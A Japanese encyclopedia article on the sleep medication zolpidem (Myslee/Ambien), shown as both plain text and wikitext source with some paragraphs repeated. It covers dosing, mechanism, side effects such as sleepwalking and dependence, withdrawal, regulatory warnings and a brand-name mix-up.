日本では2000年8月に藤沢薬品工業から発売された。同社が山之内製薬に吸収合併されたため、現在は山之内の名称を改称したアステラス製薬が継承している。2012年6月に、ゾルピデムの後発医薬品も販売が開始されている。
不眠症に適応がある。ただし、統合失調症および躁うつ病に伴う不眠症は除く。
なお、超短時間作用型の睡眠導入剤であるため、夜中に何度も目が覚めるなど早朝覚醒には用いられない。この場合は、ベンゾジアゼピン系などの中間作用型の薬(ニトラゼパムなど)が使用される。
アメリカでは2013年には、女性の方の排出がゆっくりということから、推奨用量を5mgに半減した。覚醒を必要とする作業に支障をきたさないようにし、自動車運転における交通事故リスクを低減する目的である。
他害行為を誘発する傾向はアメリカで認可された睡眠薬ではトリアゾラムに次ぐ。副作用には、夢遊行動、昼間の眠気、めまい、幻覚などがある。骨折などの傷害リスクが高まる傾向がある。台湾の国民保険データの解析によれば、脳卒中、心筋梗塞、癌 のリスク増加が見いだされている。
連用により依存症、急激な量の減少により離脱症状を生じることがある。日本の薬物乱用症例の中でも上位5位に入り乱用されやすい。向精神薬に関する条約のスケジュールIVに指定されている。
5mgおよび10mgのフィルムコート錠。通常は「1シート10錠」だが、先発薬のマイスリーの場合は「1シート14錠」のタイプも存在する。
後発医薬品はほとんどが、ゾルピデム酒石酸塩錠5/10mg「○○」などの名称で統一されている(「○○」は各メーカーの略号が入る)。
重篤な肝障害、重症筋無力症、急性狭隅角緑内障、肺性心、肺気腫、気管支喘息及び脳血管障害の急性期には禁忌となる。
日本の添付文書では、禁忌よりも先に夢遊行動の警告が書かれている。これについては、副作用の項を参照のこと。
通常、成人には1回5mgから10mgを就寝前に経口投与する。高齢者には1回5mgから投与を開始する。1日10mgを越えないこと
高齢者では漫然と長期投与せず、少量使用にとどめる。
0.8時間で血中濃度が最大になった後、速やかに減少する(消失半減期は2.1-2.3時間)。血中濃度が最大になるまでの時間が非常に短く、また消失半減期も非常に短いため、翌朝に眠気や倦怠感などが残りにくいとされる。
GABAA受容体複合体のベンゾジアゼピン結合部位(ωサブタイプ)に作用し、γ-アミノ酪酸 (GABA) の作用を増強する。ω受容体には2つのサブタイプがあり、ω1サブタイプは催眠鎮静作用に、ω2サブタイプは抗痙攣作用、抗不安作用および筋弛緩作用に深く関与しているものと考えられている。ゾルピデムは、他のベンゾジアゼピン系睡眠導入剤と比較してω1選択性が高く、催眠鎮静作用に比べて、抗不安作用、抗痙攣作用や、筋弛緩作用が弱いのが特徴とされる。また、ベンゾジアゼピン系睡眠薬に比べて反復投与による耐性や依存は形成されにくいが、耐性が生じることはあるため、連用によって効き目が落ちてくる場合はある。
とはいうものの、従来のベンゾジアゼピン系と比較して、やや高い選択性という程度である。
一般的な副作用としては、起床後の眠気やふらつき、倦怠感などが挙げられる。稀に生ずる重大な副作用としては、依存の形成、呼吸抑制、一過性前向性健忘などがある。
日本や添付文書に夢遊行動の警告が書かれている。アメリカでも同様である。
日本の医薬品添付文書では警告表示にて、もうろう状態や夢遊行動があらわれることがあり、記憶がない場合があることが記されている。このような場合には、薬剤を中止することと記載されている。このような警告は、他の非ベンゾジアゼピン系の薬剤であるゾピクロン(アモバン)、エスゾピクロン(ルネスタ)、またベンゾジアゼピン系のトリアゾラム(ハルシオン)でも同様である。2007年には、アメリカ食品医薬品局(FDA)が、睡眠時に自動車の運転を行う(夢遊行動)といった記載を、すべての睡眠薬に対し行った。
アメリカ食品医薬品局 (FDA) によれば、睡眠中に車を運転しようとしたり、食事をするなど異常な行動をひき起こす危険性があることが報告されている。
2008年2月、オーストラリアの医療品委員会(英語版)は「ゾルピデムには睡眠歩行・睡眠運転・奇妙な行動などの危険な睡眠関連の行動を引き起こす可能性が存在する。ゾルピデムは酒と共に摂取してはならない(因果関係が推認された判例がある)。他の中枢神経抑制薬物との併用には注意を要する。使用は最大で4週間に限られ、かつ厳密な医学的管理下でなければならない」と黒枠警告を行った。
販売会社であるサノフィは、夢遊病の症例は確率が1000人に1人以下の、稀な副作用であると声明を出している。
アメリカ薬物乱用・精神衛生管理庁(英語版)(SAMHSA)は、ゾルピデムによる救急医療の利用が、2005年の6,111件から、2010年の19,487件へと、5年間で約3.2倍となったことを警告し、他の薬との相互作用がない単体での副作用でも7,792件とその40%を占めている。夢遊行動、昼間の眠気、めまい、幻覚などの副作用が生じうる。
台湾の人口の約99%を占める国民健康保険のデータベースを解析し、ゾルピデムを使用していた睡眠障害のない群でも脳卒中のリスクが、使用しない者に比較して1.37倍であることが見いだされ、使用量の増加がリスクの上昇につながっていることが見いだされた。同様に台湾の国民保険のデータベースを解析し、急性心筋梗塞のリスクは、睡眠障害のない群1.35倍、ある群1.33倍とほぼ同様であった。同様に台湾の国民保険のデータベースを解析し、ゾルピデムを使用しない者に比べ、あらゆる癌を含めて癌のリスクの1.68倍の増加
コホート研究から、特に18-54歳の層でも、睡眠薬を使用しない者に比べて頭部外傷や骨折などの傷害のリスクが1.7倍であり、それ以上の高齢者の1.57倍よりも高かった。
アメリカ食品医薬品局(FDA)の有害事象報告システム(AERS)のデータから、殺人や暴力など他害行為の発生率は、睡眠薬のグループでは、トリアゾラム(ハルシオン)の8.7倍に次ぐ、ゾルピデムにおける6.7倍である。
世界保健機関は、1999年にゾルピデムを向精神薬に関する条約のスケジュールIVに指定した。
上述のようなゾルピデムの依存形成の可能性が低いという売り込みをよそに、日本の薬物乱用症例においてベンゾジアゼピン系と非ベンゾジアゼピン系を含めて上位5位に入る。
医療文献では、ゾルピデムの長期的な使用は薬物の耐性の形成や薬物依存、反跳性不眠、中枢神経系関連の副作用に関連する。ゾルピデムは短期的な使用に限られ、最小有効量の投与にとどめることが推奨される。非薬物療法が睡眠の質の改善に推奨される。動物での試験では、げっ歯類ではゾルピデムは耐性形成の可能性がベンゾジアゼピンよりも少ないが、霊長類では耐性形成の可能性はベンゾジアゼピンと同じであった。耐性はいくつかの人ではわずか数週間で形成された。ゾルピデムの突然の中止は、長期間・高用量で服用された場合は特に、精神錯乱、発作、または他の深刻な影響を与える可能性がある。
薬物耐性や身体的依存が形成された場合、治療は通常、離脱症状を最小限に抑えるために数ヶ月にわたって徐々に減量を行う。これはベンゾジアゼピン離脱症候群と同様である。これに失敗した場合、一部の患者では別の方法への切り替えが必要となる場合がある。ジアゼパムまたはクロルジアゼポキシドなどの、長時間作用型ベンゾジアゼピンに置換し徐々に減量していく。時には治療困難な薬物依存者の治療に、フルマゼニルを用いた迅速な解毒入院を用いることができる。
日本では2017年3月に「重大な副作用」の項に、連用により依存症を生じることがあるので用量と使用期間に注意し慎重に投与し、急激な量の減少によって離脱症状が生じるため徐々に減量する旨が追加され、厚生労働省よりこのことの周知徹底のため関係機関に通達がなされた。奇異反応に関して、錯乱や興奮が生じる旨が記載されている。医薬品医療機器総合機構からは、必要性を考え漫然とした長期使用を避ける、用量順守と類似薬の重複の確認、また慎重に少しずつ減量する旨の医薬品適正使用のお願いが出されている。調査結果には、日本の診療ガイドライン5つ、日本の学術雑誌8誌による要旨が記載されている。
本薬剤内服が運転能力に支障をきたすおそれがあり、その危険性が服用者に自覚されにくいという問題が指摘されている。容量、血中濃度、内服後から経過した時間、飲酒の有無、などが運転能力の障害と関係する可能性がある。
日本の判例では、マイスリーの内服と交通事故(自損事故)との因果関係が裁判で争われ、因果関係が認められた。
「マイスリー(一般名:ゾルピデム酒石酸塩):催眠鎮静剤(入眠剤)」と大日本住友製薬の「マイスタン(一般名:クロバザム):抗てんかん薬」の取り違えが相次いで発生していることを受け、両社は2018年10月23日、医療機関に防止策の検討を依頼した。処方・調剤の際に薬効と販売名を確認し、処方オーダーシステム上で薬効名やアラートを表示させるなどの方法を例示している。
また、1999年に遷延性意識障害となった人へ投与したところ意識が一時的に回復(その後薬の効果がなくなると共に昏睡状態に戻る)した ことから、現在その効果についての臨床試験が行われており、一部の被験者には実際に効果が出ている報告も上がっている。
しかし、60人の被験者にて調査したところそのような効果は確認できなかった。 | [
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"text": "ゾルピデム(Zolpidem)は、イミダゾピリジン系に分類される非ベンゾジアゼピン系の睡眠導入剤に用いられる化合物である。ベンゾジアゼピン受容体作動薬に分類される。脳のGABAA受容体のω1サブタイプに作用することで効果を示す。日本での商品名はマイスリーで、アステラス製薬が販売する。同じく睡眠導入剤のゾピクロン(アモバン)、エスゾピクロン(ルネスタ)、トリアゾラム(ハルシオン)と同様に超短時間作用型であり、寝付きの改善薬として処方される。",
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"text": "ゾルピデムは、フランスのサノフィ・サンテラボ社(現サノフィ)が開発し、1992年に世界で初めて販売が開始される。アメリカではアンビエン(Ambien)、欧州ではStilnoxとして販売される。",
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"text": "日本では2000年8月に藤沢薬品工業から発売された。同社が山之内製薬に吸収合併されたため、現在は山之内の名称を改称したアステラス製薬が継承している。2012年6月に、ゾルピデムの後発医薬品も販売が開始されている。",
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"text": "5mgおよび10mgのフィルムコート錠。通常は「1シート10錠」だが、先発薬のマイスリーの場合は「1シート14錠」のタイプも存在する。",
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"text": "後発医薬品はほとんどが、ゾルピデム酒石酸塩錠5/10mg「○○」などの名称で統一されている(「○○」は各メーカーの略号が入る)。",
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"text": "重篤な肝障害、重症筋無力症、急性狭隅角緑内障、肺性心、肺気腫、気管支喘息及び脳血管障害の急性期には禁忌となる。",
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"text": "通常、成人には1回5mgから10mgを就寝前に経口投与する。高齢者には1回5mgから投与を開始する。1日10mgを越えないこと",
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"text": "0.8時間で血中濃度が最大になった後、速やかに減少する(消失半減期は2.1-2.3時間)。血中濃度が最大になるまでの時間が非常に短く、また消失半減期も非常に短いため、翌朝に眠気や倦怠感などが残りにくいとされる。",
"title": "薬物動態学"
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"text": "GABAA受容体複合体のベンゾジアゼピン結合部位(ωサブタイプ)に作用し、γ-アミノ酪酸 (GABA) の作用を増強する。ω受容体には2つのサブタイプがあり、ω1サブタイプは催眠鎮静作用に、ω2サブタイプは抗痙攣作用、抗不安作用および筋弛緩作用に深く関与しているものと考えられている。ゾルピデムは、他のベンゾジアゼピン系睡眠導入剤と比較してω1選択性が高く、催眠鎮静作用に比べて、抗不安作用、抗痙攣作用や、筋弛緩作用が弱いのが特徴とされる。また、ベンゾジアゼピン系睡眠薬に比べて反復投与による耐性や依存は形成されにくいが、耐性が生じることはあるため、連用によって効き目が落ちてくる場合はある。",
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"text": "上述のようなゾルピデムの依存形成の可能性が低いという売り込みをよそに、日本の薬物乱用症例においてベンゾジアゼピン系と非ベンゾジアゼピン系を含めて上位5位に入る。",
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| ゾルピデム(Zolpidem)は、イミダゾピリジン系に分類される非ベンゾジアゼピン系の睡眠導入剤に用いられる化合物である。ベンゾジアゼピン受容体作動薬に分類される。脳のGABAA受容体のω1サブタイプに作用することで効果を示す。日本での商品名はマイスリーで、アステラス製薬が販売する。同じく睡眠導入剤のゾピクロン(アモバン)、エスゾピクロン(ルネスタ)、トリアゾラム(ハルシオン)と同様に超短時間作用型であり、寝付きの改善薬として処方される。 麻薬及び向精神薬取締法における第3種向精神薬である。日本では、医薬品医療機器等法の処方箋医薬品と習慣性医薬品に指定されている。 | {{drugbox
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| alt = ゾルピデムの構造
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'''ゾルピデム'''({{Lang|en|Zolpidem}})は、[[イミダゾピリジン]]系に分類される非[[非ベンゾジアゼピン系|ベンゾジアゼピン系]]の[[睡眠導入剤]]に用いられる[[化合物]]である。ベンゾジアゼピン受容体作動薬に分類される。[[脳]]の[[GABAA受容体|GABA<sub>A</sub>受容体]]のω1サブタイプに作用することで効果を示す。日本での商品名は'''マイスリー'''で、[[アステラス製薬]]が販売する。同じく睡眠導入剤の[[ゾピクロン]](アモバン)、[[エスゾピクロン]](ルネスタ)、[[トリアゾラム]](ハルシオン)と同様に超短時間作用型であり、寝付きの改善薬として処方される。
[[麻薬及び向精神薬取締法]]における第3種向精神薬である<ref>{{cite report ja |author=厚生労働省医薬食品局監視指導・麻薬対策課|title=病院・診療所における向精神薬取扱いの手引 |url=https://www.mhlw.go.jp/bunya/iyakuhin/yakubuturanyou/dl/kouseishinyaku_01.pdf |format=pdf |date=February 2012|accessdate=2013-03-10|oclc=67091696}}</ref>。日本では、[[医薬品医療機器等法]]の[[処方箋医薬品]]と[[習慣性医薬品]]に指定されている。
== 開発 ==
ゾルピデムは、[[フランス]]のサノフィ・サンテラボ社(現[[サノフィ]])が開発し、1992年に世界で初めて販売が開始される。アメリカではアンビエン(Ambien)、欧州ではStilnoxとして販売される。
日本では2000年8月に[[藤沢薬品工業]]から発売された。同社が[[山之内製薬]]に吸収合併されたため、現在は山之内の名称を改称した[[アステラス製薬]]が継承している。2012年6月に、ゾルピデムの[[後発医薬品]]も販売が開始されている。
== 効能・効果 ==
[[不眠症]]に適応がある。ただし、[[統合失調症]]および[[双極性障害|躁うつ病]]に伴う不眠症は除く<ref name="マイスリー添付文書">{{PDFlink|[http://database.japic.or.jp/pdf/newPINS/00046478.pdf 財団法人日本医薬情報センター マイスリー錠5mg・10mg 添付文書]}}</ref>。
なお、超短時間作用型の睡眠導入剤であるため、夜中に何度も目が覚めるなど早朝覚醒には用いられない。この場合は、[[ベンゾジアゼピン]]系などの中間作用型の薬([[ニトラゼパム]]など)が使用される。
アメリカでは2013年には、女性の方の排出がゆっくりということから、推奨用量を5mgに半減した<ref name="FDA2013zolpidem">{{cite press release|title=FDA requiring lower recommended dose for certain sleep drugs containing zolpidem|publisher=U.S. Food and Drug Administration(FDA) |date=2013-01-10|url=http://www.fda.gov/NewsEvents/Newsroom/PressAnnouncements/ucm334798.htm|accessdate=2014-08-16}}</ref>。覚醒を必要とする作業に支障をきたさないようにし、[[自動車]]運転における[[交通事故]]リスクを低減する目的である。
他害行為を誘発する傾向はアメリカで認可された睡眠薬ではトリアゾラムに次ぐ<ref name="pmid21179515" />。[[副作用]]には、[[睡眠時遊行症|夢遊行動]]、昼間の眠気、[[めまい]]、[[幻覚]]などがある<ref name="SAMHSAzolpidemER" />。骨折などの傷害リスクが高まる傾向がある<ref name="pmid24684782" />。台湾の国民保険データの解析によれば、脳卒中<ref name="pmid23759463" />、心筋梗塞<ref name="ZolpidemMyocardial" />、癌<ref name="pmid22560522" /> のリスク増加が見いだされている。
連用により[[ベンゾジアゼピン依存症|依存症]]、急激な量の減少により[[ベンゾジアゼピン離脱症候群|離脱症状]]を生じることがある<ref name="注意改訂2017" />。日本の[[薬物乱用]]症例の中でも上位5位に入り乱用されやすい<ref name="乱用" />。[[向精神薬に関する条約]]のスケジュールIVに指定されている<ref name="who.int.dep32" />。
=== 剤形 ===
{{独自研究|section=1|date=2023年12月}}
<!--過剰に記載しないように注意してください:Wikipedia:ウィキペディアは何ではないか-->
5mgおよび10mgのフィルムコート錠。通常は「1シート10錠」だが、先発薬のマイスリーの場合は「1シート14錠」のタイプも存在する。
後発医薬品はほとんどが、ゾルピデム酒石酸塩錠5/10mg「○○」などの名称で統一されている(「○○」は各メーカーの略号が入る)。
{{Gallery
|title=日本での包装例
|ファイル:Myslee5.jpg|マイスリー5mg錠、旧・[[藤沢薬品工業]]時代。
|ファイル:Myslee10.2.JPG|マイスリー10mg錠
|ファイル:ゾルピデム.jpg|後発医薬品の例
}}
== 禁忌 ==
重篤な肝障害、[[重症筋無力症]]、[[緑内障|急性狭隅角緑内障]]、肺性心、肺気腫、気管支喘息及び脳血管障害の急性期には禁忌となる。
日本の添付文書では、禁忌よりも先に夢遊行動の警告が書かれている。これについては、副作用の項を参照のこと。
== 用法・用量 ==
通常、成人には1回5mgから10mgを就寝前に経口投与する。高齢者には1回5mgから投与を開始する<ref>[https://www.mhlw.go.jp/file/05-Shingikai-11121000-Iyakushokuhinkyoku-Soumuka/0000169176.pdf 医薬品添付文書における高齢者に関する注意喚起の現状 -第2回高齢者医薬品適正使用検討会] 厚生労働省</ref>。1日10mgを越えないこと
== ガイドライン ==
高齢者では漫然と長期投与せず、少量使用にとどめる<ref>{{cite 高齢処方手引き日本医師会}}</ref>。
== 薬物動態学 ==
0.8時間で血中濃度が最大になった後、速やかに減少する(消失半減期は2.1-2.3時間)<ref name="マイスリー添付文書"/>。血中濃度が最大になるまでの時間が非常に短く、また消失半減期も非常に短いため、翌朝に[[眠気]]や[[疲労|倦怠感]]などが残りにくいとされる。
== 作用機序 ==
[[GABAA受容体|GABA<sub>A</sub>受容体]]複合体のベンゾジアゼピン結合部位(ωサブタイプ)に作用し、[[γ-アミノ酪酸]] (GABA) の作用を増強する。ω受容体には2つのサブタイプがあり、ω1サブタイプは催眠鎮静作用に、ω2サブタイプは抗痙攣作用、抗不安作用および筋弛緩作用に深く関与しているものと考えられている。ゾルピデムは、他のベンゾジアゼピン系睡眠導入剤と比較してω1選択性が高く、催眠鎮静作用に比べて、抗不安作用、抗痙攣作用や、筋弛緩作用が弱いのが特徴とされる。また、[[ベンゾジアゼピン]]系睡眠薬に比べて反復投与による耐性や依存は形成されにくいが、[[耐性 (薬理学)|耐性]]が生じることはあるため、連用によって効き目が落ちてくる場合はある。
とはいうものの、従来のベンゾジアゼピン系と比較して、やや高い選択性という程度である<ref>{{Cite book|和書|author=石郷岡純|authorlink=石郷岡純|coauthors=日本睡眠学会編集|chapter=睡眠薬の作用機序|title=睡眠学|publisher=朝倉書店|date=2009-02|isbn=978-4254300901|pages=101-107}} 要旨:ゾピクロンのそれほど高いとは言えない選択性と、ゾルピデムではやや高いが1桁程度の違いがある程度である。</ref>。
== 副作用 ==
一般的な[[副作用]]としては、起床後の眠気やふらつき、倦怠感などが挙げられる。稀に生ずる重大な副作用としては、[[薬物依存症|依存]]の形成、[[呼吸]]抑制、一過性[[前向性健忘]]などがある。
日本や添付文書に夢遊行動の警告が書かれている<ref name="マイスリー添付文書"/>。アメリカでも同様である。
=== 夢遊行動 ===
日本の医薬品添付文書では警告表示にて、もうろう状態や夢遊行動があらわれることがあり、記憶がない場合があることが記されている<ref name="マイスリー添付文書"/>。このような場合には、薬剤を中止することと記載されている<ref name="マイスリー添付文書"/>。このような警告は、他の[[非ベンゾジアゼピン系]]の薬剤である[[ゾピクロン]](アモバン)、[[エスゾピクロン]](ルネスタ)、またベンゾジアゼピン系の[[トリアゾラム]](ハルシオン)でも同様である<ref name="日経改定2007">{{Cite web|和書|author=北村正樹 |title=【使用上の注意改訂】睡眠薬による夢遊症状に要注意 |url=https://medical.nikkeibp.co.jp/leaf/all/series/drug/update/200706/503635.html |date=2007-06-28 |publisher=日経メディカル |accessdate=2014-08-16}}</ref>。2007年には、[[アメリカ食品医薬品局]](FDA)が、睡眠時に自動車の運転を行う(夢遊行動)といった記載を、すべての睡眠薬に対し行った<ref>{{cite web|url=http://www.fda.gov/NewsEvents/Newsroom/PressAnnouncements/2007/ucm108868.htm |title=FDA Requests Label Change for All Sleep Disorder Drug Products |publisher=FDA |date=March 14, 2007 |accessdate=2013-03-10}}</ref>。
[[アメリカ食品医薬品局]] (FDA) によれば、睡眠中に車を運転しようとしたり、食事をするなど異常な行動をひき起こす危険性があることが報告されている。
2008年2月、オーストラリアの{{仮リンク|医療品委員会|en|Therapeutic Goods Administration}}は「ゾルピデムには睡眠歩行・睡眠運転・奇妙な行動などの危険な睡眠関連の行動を引き起こす可能性が存在する。ゾルピデムは[[酒]]と共に摂取してはならない(因果関係が推認された判例がある<ref name="naid40019311812">{{Cite journal |和書|author=清水太郎 |date=2012-05 |title=保険法・判例研究(13)睡眠剤中毒による死亡と傷害保険の外来性[東京地裁平成23.5.30判決] |journal=共済と保険 |volume=54 |issue=5 |pages=28-34 |naid=40019311812 |url=https://www.jcia.or.jp/publication/pdf/hanrei_13.pdf |format=pdf}}</ref>)。他の中枢神経抑制薬物との併用には注意を要する。使用は最大で4週間に限られ、かつ厳密な医学的管理下でなければならない」と黒枠警告を行った<ref>{{cite web |url=http://www.tga.gov.au/alerts/stilnox2.htm |title=Zolpidem ("Stilnox") – updated information – February 2008 |publisher=www.tga.gov.au |accessdate=2009-06-22 |last= |first=Australian Government |archiveurl=https://web.archive.org/web/20070812123104/http://www.tga.gov.au/alerts/stilnox2.htm |archivedate=2007年8月12日 |deadlinkdate=2017年9月 }}</ref>。
販売会社であるサノフィは、夢遊病の症例は確率が1000人に1人以下の、稀な副作用であると声明を出している。
=== 救急医療の利用 ===
{{仮リンク|アメリカ薬物乱用・精神衛生管理庁|en|Substance Abuse and Mental Health Services Administration}}(SAMHSA)は、ゾルピデムによる救急医療の利用が、2005年の6,111件から、2010年の19,487件へと、5年間で約3.2倍となったことを警告し、他の薬との相互作用がない単体での副作用でも7,792件とその40%を占めている<ref name="SAMHSAzolpidemER">{{cite web |author= |title=Emergency Department Visits for Adverse Reactions Involving the Insomnia Medication Zolpidem |url=http://www.samhsa.gov/data/2k13/DAWN079/sr079-Zolpidem.htm |date=2013-05-01 |publisher= |accessdate=2014-08-16}}</ref>。夢遊行動、昼間の眠気、めまい、幻覚などの副作用が生じうる<ref name="SAMHSAzolpidemER"/>。
=== がんや脳卒中などのリスク増加 ===
台湾の人口の約99%を占める国民健康保険のデータベースを解析し、ゾルピデムを使用していた睡眠障害のない群でも脳卒中のリスクが、使用しない者に比較して1.37倍であることが見いだされ、使用量の増加がリスクの上昇につながっていることが見いだされた<ref name="pmid23759463">{{cite journal|last1=Huang|first1=Wei-Shih|last2=Tsai|first2=Chon-Haw|last3=Lin|first3=Che-Chen|last4=Muo|first4=Chih-Hsin|last5=Sung|first5=Fung-Chang|last6=Chang|first6=Yen-Jung|last7=Kao|first7=Chia-Hung|title=Relationship Between Zolpidem Use and Stroke Risk|journal=The Journal of Clinical Psychiatry|volume=74|issue=05|pages=e433–e438|year=2013|month=May|pmid=23759463|doi=10.4088/JCP.12m08181}}</ref>。同様に台湾の国民保険のデータベースを解析し、急性心筋梗塞のリスクは、睡眠障害のない群1.35倍、ある群1.33倍とほぼ同様であった<ref name="ZolpidemMyocardial">{{Cite journal |author=Yen-Nien Lin; Po-Yen Ko; Chih-Ping Chang; Chen-Chia Yang; Jen-Jyh Lin|date=2014|title=Relationship Between Zolpidem Use and Acute Myocardial Infarction Risk: A Taiwanese Population-Based Case-Control Study |url=http://cardiologyacademicpress.com/?p=20705|journal=Circulation|volume=20|issue=7|pages=582-605}}</ref>。同様に台湾の国民保険のデータベースを解析し、ゾルピデムを使用しない者に比べ、あらゆる癌を含めて癌のリスクの1.68倍の増加<ref name="pmid22560522">{{cite journal|last1=Kao|first1=Chia-Hung|last2=Sun|first2=Li-Min|last3=Liang|first3=Ji-An|last4=Chang|first4=Shih-Ni|last5=Sung|first5=Fung-Chang|last6=Muo|first6=Chih-Hsin|title=Relationship of Zolpidem and Cancer Risk: A Taiwanese Population-Based Cohort Study|journal=Mayo Clinic Proceedings|volume=87|issue=5|pages=430–436|year=2012|month=May|pmid=22560522|pmc=3498427|doi=10.1016/j.mayocp.2012.02.012}}</ref>
コホート研究から、特に18-54歳の層でも、睡眠薬を使用しない者に比べて頭部外傷や骨折などの傷害のリスクが1.7倍であり、それ以上の高齢者の1.57倍よりも高かった<ref name="pmid24684782">{{cite journal|last1=Lai|first1=Ming-May|last2=Lin|first2=Cheng-Chieh|last3=Lin|first3=Che-Chen|last4=Liu|first4=Chiu-Shong|last5=Li|first5=Tsai-Chung|last6=Kao|first6=Chia-Hung|title=Long-Term Use of Zolpidem Increases the Risk of Major Injury: A Population-Based Cohort Study|journal=Mayo Clinic Proceedings|volume=89|issue=5|pages=589–594|year=2014|month=May|pmid=24684782|doi=10.1016/j.mayocp.2014.01.021}}</ref>。
=== 他害 ===
アメリカ食品医薬品局(FDA)の有害事象報告システム(AERS)のデータから、殺人や暴力など他害行為の発生率は、睡眠薬のグループでは、[[トリアゾラム]](ハルシオン)の8.7倍に次ぐ、ゾルピデムにおける6.7倍である<ref name="pmid21179515">{{cite journal|last1=Ross|first1=Joseph S.|last2=Moore|first2=Thomas J.|last3=Glenmullen|first3=Joseph|last4=Furberg|first4=Curt D.|title=Prescription Drugs Associated with Reports of Violence Towards Others|journal=PLoS ONE|volume=5|issue=12|pages=e15337|year=2010|pmid=21179515|pmc=3002271|doi=10.1371/journal.pone.0015337|url=http://www.plosone.org/article/info%3Adoi%2F10.1371%2Fjournal.pone.0015337}}</ref>。
=== 依存と離脱 ===
世界保健機関は、1999年にゾルピデムを[[向精神薬に関する条約]]のスケジュールIVに指定した<ref name="who.int.dep32">{{Cite report|author=世界保健機関|authorlink=世界保健機関|title=WHO Expert Committee on Drug Dependence: thirty-second report / WHO Technical Report Series 903 |publisher=World Health Organization|date=2000|url=http://whqlibdoc.who.int/trs/WHO_TRS_903.pdf|format=pdf|isbn=92-4-120903-8|pages=14-15}}</ref>。
上述のようなゾルピデムの依存形成の可能性が低いという売り込みをよそに、日本の薬物乱用症例においてベンゾジアゼピン系と非ベンゾジアゼピン系を含めて上位5位に入る<ref name="乱用">{{Cite journal |和書|author=松本俊彦|date=2013-06-10|title=処方薬乱用・依存からみた今日の精神科薬物治療の課題:ベンゾジアゼピンを中心に|journal=臨床精神薬理|volume=16|issue=6|pages=803-812|naid=}}</ref>。
医療文献では、ゾルピデムの長期的な使用は薬物の[[耐性 (薬理学)|耐性]]の形成や[[薬物依存]]、[[反跳性不眠]]、中枢神経系関連の副作用に関連する。ゾルピデムは短期的な使用に限られ、最小有効量の投与にとどめることが推奨される。非薬物療法が睡眠の質の改善に推奨される<ref>{{cite journal |author=Kirkwood CK |title=Management of insomnia |journal=J Am Pharm Assoc (Wash) |volume=39 |issue=5 |pages=688?96; quiz 713?4 |year=1999 |pmid=10533351 |doi= |url=}}</ref>。動物での試験では、げっ歯類ではゾルピデムは耐性形成の可能性が[[ベンゾジアゼピン]]よりも少ないが、霊長類では耐性形成の可能性はベンゾジアゼピンと同じであった<ref>{{cite journal |author=Petroski RE, Pomeroy JE, Das R |title=Indiplon is a high-affinity positive allosteric modulator with selectivity for alpha1 subunit-containing GABAA receptors |journal=J. Pharmacol. Exp. Ther. |volume=317 |issue=1 |pages=369?77 |year=2006 |month=April |pmid=16399882 |doi=10.1124/jpet.105.096701 |url=http://jpet.aspetjournals.org/cgi/content/full/317/1/369 |format=PDF}}</ref>。耐性はいくつかの人ではわずか数週間で形成された。ゾルピデムの突然の中止は、長期間・高用量で服用された場合は特に、精神錯乱、発作、または他の深刻な影響を与える可能性がある<ref>{{cite journal |author=Harter C, Piffl-Boniolo E, Rave-Schwank M |title=[Development of drug withdrawal delirium after dependence on zolpidem and zoplicone] |language=German |journal=Psychiatr Prax |volume=26 |issue=6 |pages=309 |year=1999 |month=November |pmid=10627964 |doi= |url= |trans-title=Development of drug withdrawal delirium after dependence on zolpidem and zoplicone}}</ref><ref>{{cite journal |author= |title=Hypnotic dependence: zolpidem and zopiclone too |journal=Prescrire Int |volume=10 |issue=51 |pages=15 |year=2001 |month=February |pmid=11503851 |doi= |url=}}</ref><ref>{{cite journal |author=Sethi PK, Khandelwal DC |title=Zolpidem at supratherapeutic doses can cause drug abuse, dependence and withdrawal seizure |journal=J Assoc Physicians India |volume=53 |issue= |pages=139?40 |year=2005 |month=February |pmid=15847035 |doi= |url=http://www.japi.org/february2005/CR-139.pdf |format=PDF}}</ref>。
薬物耐性や[[身体的依存]]が形成された場合、治療は通常、離脱症状を最小限に抑えるために数ヶ月にわたって徐々に減量を行う。これは[[ベンゾジアゼピン離脱症候群]]と同様である。これに失敗した場合、一部の患者では別の方法への切り替えが必要となる場合がある。[[ジアゼパム]]または[[クロルジアゼポキシド]]などの、長時間作用型ベンゾジアゼピンに置換し徐々に減量していく。時には治療困難な薬物依存者の治療に、[[フルマゼニル]]を用いた迅速な解毒入院を用いることができる<ref>{{cite journal | author =Quaglio G |coauthors=Lugoboni F, Fornasiero A, Lechi A, Gerra G, Mezzelani P | title=Dependence on zolpidem: two case reports of detoxification with flumazenil infusion | journal=Int Clin Psychopharmacol | volume=20 | issue=5 | pages=285?7 | year=2005 | month=September | pmid=16096519 | doi =10.1097/01.yic.0000166404.41850.b4}}</ref>。
日本では2017年3月に「重大な副作用」の項に、連用により[[ベンゾジアゼピン依存症|依存症]]を生じることがあるので用量と使用期間に注意し慎重に投与し、急激な量の減少によって[[ベンゾジアゼピン離脱症候群|離脱症状]]が生じるため徐々に減量する旨が追加され、厚生労働省よりこのことの周知徹底のため関係機関に通達がなされた<ref name="注意改訂2017">{{Cite press release|和書|author=厚生労働省医薬・生活衛生局安全対策課長|title=催眠鎮静薬、抗不安薬及び抗てんかん薬の「使用上の注意」改訂の周知について (薬生安発0321第2号)|publisher= |date=|url=https://www.pmda.go.jp/files/000217230.pdf|format=pdf|accessdate=2017-3-25}}、および、{{Cite web|和書|title=使用上の注意改訂情報(平成29年3月21日指示分) |url= https://www.pmda.go.jp/safety/info-services/drugs/calling-attention/revision-of-precautions/0318.html |date=2017-3-21 |publisher=医薬品医療機器総合機構 |accessdate=2017-3-25}}</ref>。[[奇異反応]]に関して<ref name="調査結果2017"/>、錯乱や興奮が生じる旨が記載されている<ref name="注意改訂2017"/>。[[医薬品医療機器総合機構]]からは、必要性を考え漫然とした長期使用を避ける、用量順守と類似薬の重複の確認、また慎重に少しずつ減量する旨の医薬品適正使用のお願いが出されている<ref>{{cite journal|author=医薬品医療機器総合機構|title=ベンゾジアゼピン受容体作動薬の依存性について|journal=医薬品医療機器総合機構PMDAからの医薬品適正使用のお願い|publisher= |date=2017-03|url=https://www.pmda.go.jp/files/000217046.pdf|format=pdf|issue=11|accessdate=2017-3-25}}</ref>。調査結果には、日本の診療ガイドライン5つ、日本の学術雑誌8誌による要旨が記載されている<ref name="調査結果2017">{{Cite press release|和書|author=医薬品医療機器総合機構|title=調査結果報告書|publisher=医薬品医療機器総合機構 |date=2017-2-28|url=http://www.pmda.go.jp/files/000217061.pdf|format=pdf|accessdate=2017-3-25}}</ref>。
=== 運転能力の障害 ===
